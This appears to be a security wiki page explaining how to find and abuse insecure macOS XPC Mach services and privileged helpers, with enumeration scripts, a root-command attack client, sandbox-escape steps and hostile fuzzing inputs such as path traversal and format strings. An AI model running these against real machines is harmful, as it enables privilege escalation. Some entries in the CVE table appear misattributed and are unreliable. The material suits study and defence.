macOS XPC Mach Services Abuse
{{#include ../../../banners/hacktricks-training.md}}
Basic Information
XPC (Cross-Process Communication) is the primary IPC mechanism on macOS. System daemons expose Mach services β named ports registered with launchd β that other processes can connect to via NSXPCConnection.
Every LaunchDaemon and LaunchAgent plist with a MachServices key registers one or more named Mach ports. These are system-wide XPC endpoints that any process can attempt to connect to.
Architecture
Client Process (user context)
β NSXPCConnection / xpc_connection_create_mach_service()
β Mach message via launchd
Daemon Process (root context)
β Receives XPC message
β (Should verify client identity / entitlements)
β Performs privileged operation
Enumeration
Finding Daemons with Mach Services
# Find all LaunchDaemons with MachServices
find /Library/LaunchDaemons /System/Library/LaunchDaemons -name "*.plist" -exec sh -c '
plutil -p "{}" 2>/dev/null | grep -q "MachServices" && echo "{}"
' \; 2>/dev/null
# List active Mach services
sudo launchctl dumpstate 2>/dev/null | grep -E "name = " | sort -u | head -50
# List all launchd services
launchctl list
# Check a specific daemon's Mach services
plutil -p /Library/LaunchDaemons/com.example.daemon.plist 2>/dev/null
# Using the scanner
sqlite3 /tmp/executables.db "
SELECT e.path, e.privileged, e.isDaemon
FROM executables e
WHERE e.isDaemon = 1
ORDER BY e.privileged DESC
LIMIT 50;"
Enumerating XPC Interfaces
Once you identify a daemon, reverse-engineer its XPC interface:
# Find the protocol definition in the binary
strings /path/to/daemon | grep -i "protocol\|interface\|xpc\|method"
# Use class-dump to extract ObjC protocol definitions
class-dump /path/to/daemon | grep -A20 "@protocol"
# Check for XPC service bundles inside app bundles
find /Applications -path "*/XPCServices/*.xpc" 2>/dev/null
XPC Client Verification Vulnerabilities
The most common vulnerability class in XPC services is insufficient client verification. The daemon should verify:
- Code signature of the connecting process
- Entitlements of the connecting process
- Audit token (not PID, which can be reused)
Vulnerable Pattern: No Verification
// VULNERABLE β daemon accepts any connection
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES; // No verification!
}
Vulnerable Pattern: PID-Based Verification (Race Condition)
// VULNERABLE β PID can be reused between check and use
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
pid_t pid = newConnection.processIdentifier;
// Attacker can win race: spawn legitimate process β get PID β kill it β exploit process reuses PID
if ([self isAuthorizedPID:pid]) {
[newConnection resume];
return YES;
}
return NO;
}
Secure Pattern: Audit Token Verification
// SECURE β Uses audit token which cannot be spoofed
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
audit_token_t token = newConnection.auditToken;
// Verify code signature via audit token
SecCodeRef code = NULL;
NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit:
[NSData dataWithBytes:&token length:sizeof(token)]};
SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes,
kSecCSDefaultFlags, &code);
// Verify the signature matches expected signing identity
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(
CFSTR("identifier \"com.apple.expected\" and anchor apple"),
kSecCSDefaultFlags, &requirement);
OSStatus status = SecCodeCheckValidity(code, kSecCSDefaultFlags, requirement);
if (status == errSecSuccess) {
[newConnection resume];
return YES;
}
return NO;
}
Attack: Connecting to Unprotected XPC Services
// Minimal XPC client β connect to a LaunchDaemon's Mach service
#import <Foundation/Foundation.h>
@protocol VulnDaemonProtocol
- (void)runCommandAsRoot:(NSString *)command withReply:(void (^)(NSString *))reply;
@end
int main(void) {
@autoreleasepool {
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithMachServiceName:@"com.example.vulndaemon"
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(VulnDaemonProtocol)];
[conn resume];
id<VulnDaemonProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"Connection error: %@", error);
}];
// If the daemon doesn't verify our identity, this works:
[proxy runCommandAsRoot:@"id" withReply:^(NSString *result) {
NSLog(@"Result: %@", result);
// Output: uid=0(root)
}];
[[NSRunLoop currentRunLoop] run];
}
}
Attack: XPC Object Deserialization
XPC services that accept complex objects (NSSecureCoding conformant) can be vulnerable to deserialization attacks:
// If the daemon accepts NSObject subclasses via XPC:
// An attacker can send a crafted object that triggers:
// 1. Type confusion (wrong class instantiated)
// 2. Path traversal (filename objects with ../)
// 3. Format string bugs (string objects as format arguments)
// 4. Integer overflow (large numeric values)
Mach-Lookup Sandbox Exceptions
How Exceptions Enable Sandbox Escape
Sandboxed applications normally can only communicate with their own XPC services. However, mach-lookup exceptions allow reaching system-wide services:
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.system.opendirectoryd.api</string>
<string>com.apple.SecurityServer</string>
<string>com.apple.CoreServices.coreservicesd</string>
</array>
Finding Applications with Broad Exceptions
# Find sandboxed apps with mach-lookup exceptions
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)"
[ -f "$binary" ] && {
ents=$(codesign -d --entitlements - "$binary" 2>&1)
echo "$ents" | grep -q "mach-lookup" && {
echo "=== $(basename "$1") ==="
echo "$ents" | grep -B1 -A10 "mach-lookup"
}
}
' _ {} \; 2>/dev/null
Sandbox Escape Chain
1. Compromise sandboxed app (e.g., via renderer exploit in browser/email)
2. Enumerate mach-lookup exceptions from entitlements
3. Connect to each reachable system daemon
4. Fuzz the daemon's XPC interface for vulnerabilities
5. Exploit a daemon bug β code execution outside the sandbox
6. Escalate from daemon's privilege level (often root)
Privileged Helper Tools (SMJobBless)
How They Work
SMJobBless installs a privileged helper that runs as root via launchd. The helper communicates with its parent app via XPC:
App (user context) ββ XPC ββ Helper (root via launchd)
Common Vulnerability: Weak Authorization
// Many helpers check authorization but:
// 1. Don't verify WHO is connecting (any process can connect)
// 2. Use rights that any admin can obtain
// 3. Cache authorization decisions
// VULNERABLE helper pattern:
- (void)performPrivilegedAction:(NSString *)action
authorization:(NSData *)authData
withReply:(void (^)(BOOL))reply {
AuthorizationRef auth;
AuthorizationCreateFromExternalForm(
(AuthorizationExternalForm *)authData.bytes, &auth);
// Only checks if caller has generic admin right
// But doesn't verify the caller is the app that installed the helper!
AuthorizationItem item = {kAuthorizationRightExecute, 0, NULL, 0};
AuthorizationRights rights = {1, &item};
if (AuthorizationCopyRights(auth, &rights, NULL,
kAuthorizationFlagDefaults, NULL) == errAuthorizationSuccess) {
// Performs action as root...
reply(YES);
}
}
Exploiting Weak Helpers
# 1. Find installed privileged helpers
ls /Library/PrivilegedHelperTools/
# 2. Find their LaunchDaemon plists
ls /Library/LaunchDaemons/ | grep -v "com.apple"
# 3. Check the helper's XPC interface
class-dump /Library/PrivilegedHelperTools/com.example.helper | grep -A20 "@protocol"
# 4. Check if the parent app properly verifies connections
strings /Library/PrivilegedHelperTools/com.example.helper | grep -i "codesign\|requirement\|anchor\|audit"
# If no code-signing verification strings β likely vulnerable
XPC Fuzzing
# Basic XPC fuzzing approach:
# 1. Identify the target service and protocol
plutil -p /Library/LaunchDaemons/com.example.daemon.plist
class-dump /path/to/daemon
# 2. For each exposed method, test:
# - NULL arguments
# - Empty strings
# - Very long strings (buffer overflow)
# - Path traversal strings (../../etc/passwd)
# - Format strings (%n%n%n%n)
# - Integer boundary values (INT_MAX, -1, 0)
# - Unexpected object types (send NSDictionary where NSString expected)
# 3. Monitor for crashes
log stream --predicate 'process == "daemon-name" AND (eventMessage CONTAINS "crash" OR eventMessage CONTAINS "fault")'
Real-World CVEs
| CVE | Description |
|---|---|
| CVE-2023-41993 | XPC service deserialization vulnerability |
| CVE-2022-22616 | Gatekeeper bypass via XPC service abuse |
| CVE-2021-30657 | Sysmond XPC privilege escalation |
| CVE-2020-9839 | XPC race condition in system daemon |
| CVE-2019-8802 | Privileged helper tool missing client verification |
| CVE-2023-32369 | Migraine β SIP bypass through systemmigrationd XPC |
| CVE-2022-26712 | PackageKit XPC root escalation |
Enumeration Script
#!/bin/bash
echo "=== XPC Mach Services Security Audit ==="
echo -e "\n[*] Third-party privileged helpers:"
for helper in /Library/PrivilegedHelperTools/*; do
[ -f "$helper" ] || continue
echo " $helper"
codesign -dvv "$helper" 2>&1 | grep "Authority\|TeamIdentifier" | sed 's/^/ /'
done
echo -e "\n[*] Third-party LaunchDaemons with MachServices:"
for plist in /Library/LaunchDaemons/*.plist; do
plutil -p "$plist" 2>/dev/null | grep -q "MachServices" && {
echo " $plist"
plutil -p "$plist" | grep -A5 "MachServices" | sed 's/^/ /'
}
done
echo -e "\n[*] User LaunchAgents with MachServices:"
for plist in ~/Library/LaunchAgents/*.plist; do
plutil -p "$plist" 2>/dev/null | grep -q "MachServices" && {
echo " $plist"
plutil -p "$plist" | grep -A5 "MachServices" | sed 's/^/ /'
}
done
References
- Apple Developer β XPC Services
- Apple Developer β Daemons and Services Programming Guide
- Objective-See β XPC Exploitation
- OBTS β XPC Attack Surface talks
{{#include ../../../banners/hacktricks-training.md}}